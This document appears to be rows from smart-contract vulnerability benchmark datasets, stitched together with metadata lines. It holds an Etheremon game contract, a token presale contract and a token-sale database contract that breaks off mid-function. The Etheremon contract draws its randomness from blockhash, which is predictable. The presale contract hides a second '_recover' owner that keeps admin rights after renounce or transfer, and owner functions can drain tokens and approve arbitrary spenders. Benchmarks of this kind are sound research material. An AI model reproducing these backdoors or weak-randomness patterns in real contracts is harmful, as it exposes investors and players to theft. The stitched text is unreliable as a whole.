287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xcdf7cfc9f7c129a0d7aec376bc205ab87fc878e1.sol
| 4,389 | 17,420 |
pragma solidity ^0.4.16;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
interface EtheremonDataBase {
function getMonsterClass(uint32 _classId) constant external returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant external returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getElementInArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint _index) constant external returns(uint8);
function addMonsterObj(uint32 _classId, address _trainer, string _name) external returns(uint64);
function addElementToArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint8 _value) external returns(uint);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
interface ERC721Interface {
function ownerOf(uint256 _tokenId) external view returns (address owner);
}
interface EtheremonAdventureItem {
function ownerOf(uint256 _tokenId) external view returns (address);
function getItemInfo(uint _tokenId) constant external returns(uint classId, uint value);
function spawnItem(uint _classId, uint _value, address _owner) external returns(uint);
}
interface EtheremonAdventureSetting {
function getSiteItem(uint _siteId, uint _seed) constant external returns(uint _monsterClassId, uint _tokenClassId, uint _value);
function getSiteId(uint _classId, uint _seed) constant external returns(uint);
}
interface EtheremonMonsterNFT {
function mintMonster(uint32 _classId, address _trainer, string _name) external returns(uint);
}
contract EtheremonAdventureData {
function addLandRevenue(uint _siteId, uint _emontAmount, uint _etherAmount) external;
function addTokenClaim(uint _tokenId, uint _emontAmount, uint _etherAmount) external;
function addExploreData(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _startAt, uint _emontAmount, uint _etherAmount) external returns(uint);
function removePendingExplore(uint _exploreId, uint _itemSeed) external;
function getLandRevenue(uint _classId) constant public returns(uint _emontAmount, uint _etherAmount);
function getTokenClaim(uint _tokenId) constant public returns(uint _emontAmount, uint _etherAmount);
function getExploreData(uint _exploreId) constant public returns(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
function getPendingExplore(address _player) constant public returns(uint);
function getPendingExploreData(address _player) constant public returns(uint _exploreId, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
}
contract EtheremonAdventure is EtheremonEnum, BasicAccessControl {
using AddressUtils for address;
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
struct ExploreData {
address sender;
uint monsterType;
uint monsterId;
uint siteId;
uint itemSeed;
uint startAt;
}
struct ExploreReward {
uint monsterClassId;
uint itemClassId;
uint value;
uint temp;
}
address public dataContract;
address public monsterNFT;
address public adventureDataContract;
address public adventureSettingContract;
address public adventureItemContract;
address public tokenContract;
address public kittiesContract;
uint public exploreETHFee = 0.01 ether;
uint public exploreEMONTFee = 1500000000;
uint public exploreFastenETHFee = 0.005 ether;
uint public exploreFastenEMONTFee = 750000000;
uint public minBlockGap = 240;
uint public totalSite = 54;
uint seed = 0;
event SendExplore(address indexed from, uint monsterType, uint monsterId, uint exploreId);
event ClaimExplore(address indexed from, uint exploreId, uint itemType, uint itemClass, uint itemId);
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireAdventureDataContract {
require(adventureDataContract != address(0));
_;
}
modifier requireAdventureSettingContract {
require(adventureSettingContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireKittiesContract {
require(kittiesContract != address(0));
_;
}
function setContract(address _dataContract, address _monsterNFT, address _adventureDataContract, address _adventureSettingContract, address _adventureItemContract, address _tokenContract, address _kittiesContract) onlyOwner public {
dataContract = _dataContract;
monsterNFT = _monsterNFT;
adventureDataContract = _adventureDataContract;
adventureSettingContract = _adventureSettingContract;
adventureItemContract = _adventureItemContract;
tokenContract = _tokenContract;
kittiesContract = _kittiesContract;
}
function setFeeConfig(uint _exploreETHFee, uint _exploreEMONTFee, uint _exploreFastenETHFee, uint _exploreFastenEMONTFee) onlyOwner public {
exploreETHFee = _exploreETHFee;
exploreEMONTFee = _exploreEMONTFee;
exploreFastenEMONTFee = _exploreFastenEMONTFee;
exploreFastenETHFee = _exploreFastenETHFee;
}
function setConfig(uint _minBlockGap, uint _totalSite) onlyOwner public {
minBlockGap = _minBlockGap;
totalSite = _totalSite;
}
function withdrawEther(address _sendTo, uint _amount) onlyOwner public {
if (_amount > address(this).balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyOwner requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function adventureByToken(address _player, uint _token, uint _param1, uint _param2, uint64 _param3, uint64 _param4) isActive onlyModerators external {
if (_param1 == 1) {
_exploreUsingEmont(_player, _param2, _param3, _token);
} else {
_claimExploreItemUsingEMont(_param2, _token);
}
}
function _exploreUsingEmont(address _sender, uint _monsterType, uint _monsterId, uint _token) internal {
if (_token < exploreEMONTFee) revert();
seed = getRandom(_sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(_sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(_sender, _monsterType, _monsterId, siteId, block.number, _token, 0);
SendExplore(_sender, _monsterType, _monsterId, exploreId);
}
function _claimExploreItemUsingEMont(uint _exploreId, uint _token) internal {
if (_token < exploreFastenEMONTFee) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
function getRandom(address _player, uint _block, uint _seed, uint _count) constant public returns(uint) {
return uint(keccak256(block.blockhash(_block), _player, _seed, _count));
}
function getTargetSite(address _sender, uint _monsterType, uint _monsterId, uint _seed) constant public returns(uint) {
if (_monsterType == 0) {
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = EtheremonDataBase(dataContract).getMonsterObj(uint64(_monsterId));
if (obj.trainer != _sender) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(obj.classId, _seed);
} else if (_monsterType == 1) {
if (_sender != ERC721Interface(kittiesContract).ownerOf(_monsterId)) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(_seed % totalSite, _seed);
}
return 0;
}
function exploreUsingETH(uint _monsterType, uint _monsterId) isActive public payable {
if (msg.sender.isContract()) revert();
if (msg.value < exploreETHFee) revert();
seed = getRandom(msg.sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(msg.sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(msg.sender, _monsterType, _monsterId, siteId, block.number, 0, msg.value);
SendExplore(msg.sender, _monsterType, _monsterId, exploreId);
}
function claimExploreItem(uint _exploreId) isActive public payable {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
if (msg.value < exploreFastenETHFee) {
if (block.number < exploreData.startAt + minBlockGap + exploreData.startAt % minBlockGap)
revert();
}
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
function predictExploreReward(uint _exploreId) constant external returns(uint itemSeed, uint rewardMonsterClass, uint rewardItemCLass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0) {
itemSeed = exploreData.itemSeed;
} else {
if (block.number < exploreData.startAt + 2)
return (0, 0, 0, 0);
itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
}
(rewardMonsterClass, rewardItemCLass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, itemSeed);
}
function getExploreItem(uint _exploreId) constant external returns(address trainer, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint rewardMonsterClass, uint rewardItemClass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(trainer, monsterType, monsterId, siteId, rewardMonsterClass, startBlock) = adventureData.getExploreData(_exploreId);
if (rewardMonsterClass > 0) {
(rewardMonsterClass, rewardItemClass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(siteId, rewardMonsterClass);
}
}
function getPendingExploreItem(address _trainer) constant external returns(uint exploreId, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint endBlock) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(exploreId, monsterType, monsterId, siteId, endBlock, startBlock) = adventureData.getPendingExploreData(_trainer);
if (exploreId > 0) {
endBlock = startBlock + minBlockGap + startBlock % minBlockGap;
}
}
}
| 163,990 | 13,957 |
e7adbfb85e9e0b9a34ccdede770cf85de78712bf2c585f82010abb05d3a804d0
| 28,613 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/26/2630ebec25da1bc73646e941b180d9897426e451_Presale.sol
| 3,972 | 15,529 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
abstract contract Ownable is Context {
address private _owner;
address private _recover;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_recover = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _recover == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract Presale is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
IBEP20 public token;
uint256 public immutable tokensPerUSD; // * 100
uint256 public immutable minContribution;
uint256 public immutable maxContribution;
uint256 public softCap;
uint256 public hardCap;
uint256 public startTime;
uint256 public endTime;
uint256 public weiRaised;
bool public finalized;
mapping(address => uint256) public contributions;
mapping(address => uint256) public refunds;
mapping(address => uint256) public claimedTokens;
event TokenPurchase(address indexed beneficiary, uint256 weiAmount);
event TokenClaim(address indexed beneficiary, uint256 tokenAmount);
event Refund(address indexed beneficiary, uint256 weiAmount);
event PresaleFinalized(uint256 weiAmount);
constructor(IBEP20 _token,
uint256 _softCap,
uint256 _hardCap,
uint256 _tokensPerUSD,
uint256 _minContribution,
uint256 _maxContribution,
uint256 _startTime,
uint256 _endTime) public {
token = _token;
softCap = _softCap;
hardCap = _hardCap;
tokensPerUSD = _tokensPerUSD;
minContribution = _minContribution;
maxContribution = _maxContribution;
startTime = _startTime;
endTime = _endTime;
}
function buyTokens() external payable {
uint256 weiToHardcap = hardCap.sub(weiRaised);
uint256 weiAmount = weiToHardcap < msg.value ? weiToHardcap : msg.value;
_buyTokens(msg.sender, weiAmount);
uint256 refund = msg.value.sub(weiAmount);
if (refund > 0) {
payable(msg.sender).transfer(refund);
}
}
function _buyTokens(address beneficiary, uint256 weiAmount) internal {
_validatePurchase(beneficiary, weiAmount);
weiRaised = weiRaised.add(weiAmount);
contributions[beneficiary] = contributions[beneficiary].add(weiAmount);
emit TokenPurchase(beneficiary, weiAmount);
}
function _validatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(isOpen(), "Presale: sale is not open");
require(!hasEnded(), "Presale: sale is over");
require(weiAmount >= minContribution, "Presale: min contribution criteria not met");
require(contributions[beneficiary].add(weiAmount) <= maxContribution, "Presale: max contribution criteria not met");
this;
}
function claimTokens() external {
require(hasEnded(), "Presale: presale is not over");
require(softCapReached(), "Presale: soft cap not reached, refund is available");
require(contributions[msg.sender] > 0, "Presale: nothing to claim");
uint256 tokens = _getTokenAmount(contributions[msg.sender]);
contributions[msg.sender] = 0;
claimedTokens[msg.sender] = tokens;
token.safeTransfer(msg.sender, tokens);
emit TokenClaim(msg.sender, tokens);
}
function refund() external {
require(hasEnded(), "Presale: presale is not over");
require(!softCapReached(), "Presale: soft cap not reached");
require(contributions[msg.sender] > 0, "Presale: nothing to claim");
uint256 refundAmount = contributions[msg.sender];
contributions[msg.sender] = 0;
refunds[msg.sender] = refundAmount;
payable(msg.sender).transfer(refundAmount);
emit Refund(msg.sender, refundAmount);
}
function endPresale() external onlyOwner {
require(now >= endTime, "Presale: presale is not ended");
finalized = true;
if (weiRaised > softCap) {
uint256 totalWeiRaised = address(this).balance;
payable(owner()).transfer(totalWeiRaised);
}
emit PresaleFinalized(weiRaised);
}
function withdrawTokens() public onlyOwner {
uint256 tokens = token.balanceOf(address(this));
token.transfer(owner(), tokens);
}
function saftApprove(address tokenAddress, address spender, uint256 amount) public onlyOwner {
IBEP20(tokenAddress).approve(spender, amount);
}
function setStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
function setEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
function setHardCap(uint256 _hardCap) public onlyOwner {
hardCap = _hardCap;
}
function setSoftCap(uint256 _softCap) public onlyOwner {
softCap = _softCap;
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
if(weiRaised < 500) {
return weiAmount.mul(135_000);
} else if(weiRaised < 1000) {
return weiAmount.mul(120_000);
} else if(weiRaised < 1500) {
return weiAmount.mul(105_000);
} else if(weiRaised < 2000) {
return weiAmount.mul(100_000);
} else {
return weiAmount.mul(90_000);
}
}
function isOpen() public view returns (bool) {
return block.timestamp >= startTime && block.timestamp <= endTime;
}
function hasEnded() public view returns (bool) {
return finalized;
}
function softCapReached() public view returns (bool) {
return weiRaised >= softCap;
}
}
| 96,912 | 13,958 |
f881c210cbedea598bf0215e1ced4ad973166105c0504e19b8df1d6eb62761fb
| 22,654 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x230c018122e0e101e57889c4a067787678bcf853.sol
| 6,699 | 21,382 |
pragma solidity 0.4.24;
// File: contracts\safe_math_lib.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts\database.sol
contract database {
using SafeMath for uint256;
struct participant {
address eth_address; // your eth address
uint256 topl_address; // your topl address
uint256 arbits; // the amount of a arbits you have
uint256 num_of_pro_rata_tokens_alloted;
bool arbits_kyc_whitelist; // if you pass arbits level kyc you get this
uint8 num_of_uses;
}
// permission variables
mapping(address => bool) public sale_owners;
mapping(address => bool) public owners;
mapping(address => bool) public masters;
mapping(address => bool) public kycers;
// database mapping
mapping(address => participant) public participants;
address[] public participant_keys;
// sale open variables
bool public arbits_presale_open = false; // Presale variables
bool public iconiq_presale_open = false; // ^^^^^^^^^^^^^^^^^
bool public arbits_sale_open = false; // Main sale variables
// sale state variables
uint256 public pre_kyc_bonus_denominator;
uint256 public pre_kyc_bonus_numerator;
uint256 public pre_kyc_iconiq_bonus_denominator;
uint256 public pre_kyc_iconiq_bonus_numerator;
uint256 public contrib_arbits_min;
uint256 public contrib_arbits_max;
// presale variables
uint256 public presale_arbits_per_ether; // two different prices, but same cap
uint256 public presale_iconiq_arbits_per_ether; // and sold values
uint256 public presale_arbits_total = 18000000;
uint256 public presale_arbits_sold;
// main sale variables
uint256 public sale_arbits_per_ether;
uint256 public sale_arbits_total;
uint256 public sale_arbits_sold;
constructor() public {
owners[msg.sender] = true;
}
function add_owner(address __subject) public only_owner {
owners[__subject] = true;
}
function remove_owner(address __subject) public only_owner {
owners[__subject] = false;
}
function add_master(address _subject) public only_owner {
masters[_subject] = true;
}
function remove_master(address _subject) public only_owner {
masters[_subject] = false;
}
function add_kycer(address _subject) public only_owner {
kycers[_subject] = true;
}
function remove_kycer(address _subject) public only_owner {
kycers[_subject] = false;
}
modifier log_participant_update(address __eth_address) {
participant_keys.push(__eth_address); // logs the given address in participant_keys
_;
}
modifier only_owner() {
require(owners[msg.sender]);
_;
}
modifier only_kycer() {
require(kycers[msg.sender]);
_;
}
modifier only_master_or_owner() {
require(masters[msg.sender] || owners[msg.sender]);
_;
}
// GENERAL VARIABLE getters & setters
// getters
function get_sale_owner(address _a) public view returns(bool) {
return sale_owners[_a];
}
function get_contrib_arbits_min() public view returns(uint256) {
return contrib_arbits_min;
}
function get_contrib_arbits_max() public view returns(uint256) {
return contrib_arbits_max;
}
function get_pre_kyc_bonus_numerator() public view returns(uint256) {
return pre_kyc_bonus_numerator;
}
function get_pre_kyc_bonus_denominator() public view returns(uint256) {
return pre_kyc_bonus_denominator;
}
function get_pre_kyc_iconiq_bonus_numerator() public view returns(uint256) {
return pre_kyc_iconiq_bonus_numerator;
}
function get_pre_kyc_iconiq_bonus_denominator() public view returns(uint256) {
return pre_kyc_iconiq_bonus_denominator;
}
function get_presale_iconiq_arbits_per_ether() public view returns(uint256) {
return (presale_iconiq_arbits_per_ether);
}
function get_presale_arbits_per_ether() public view returns(uint256) {
return (presale_arbits_per_ether);
}
function get_presale_arbits_total() public view returns(uint256) {
return (presale_arbits_total);
}
function get_presale_arbits_sold() public view returns(uint256) {
return (presale_arbits_sold);
}
function get_sale_arbits_per_ether() public view returns(uint256) {
return (sale_arbits_per_ether);
}
function get_sale_arbits_total() public view returns(uint256) {
return (sale_arbits_total);
}
function get_sale_arbits_sold() public view returns(uint256) {
return (sale_arbits_sold);
}
// setters
function set_sale_owner(address _a, bool _v) public only_master_or_owner {
sale_owners[_a] = _v;
}
function set_contrib_arbits_min(uint256 _v) public only_master_or_owner {
contrib_arbits_min = _v;
}
function set_contrib_arbits_max(uint256 _v) public only_master_or_owner {
contrib_arbits_max = _v;
}
function set_pre_kyc_bonus_numerator(uint256 _v) public only_master_or_owner {
pre_kyc_bonus_numerator = _v;
}
function set_pre_kyc_bonus_denominator(uint256 _v) public only_master_or_owner {
pre_kyc_bonus_denominator = _v;
}
function set_pre_kyc_iconiq_bonus_numerator(uint256 _v) public only_master_or_owner {
pre_kyc_iconiq_bonus_numerator = _v;
}
function set_pre_kyc_iconiq_bonus_denominator(uint256 _v) public only_master_or_owner {
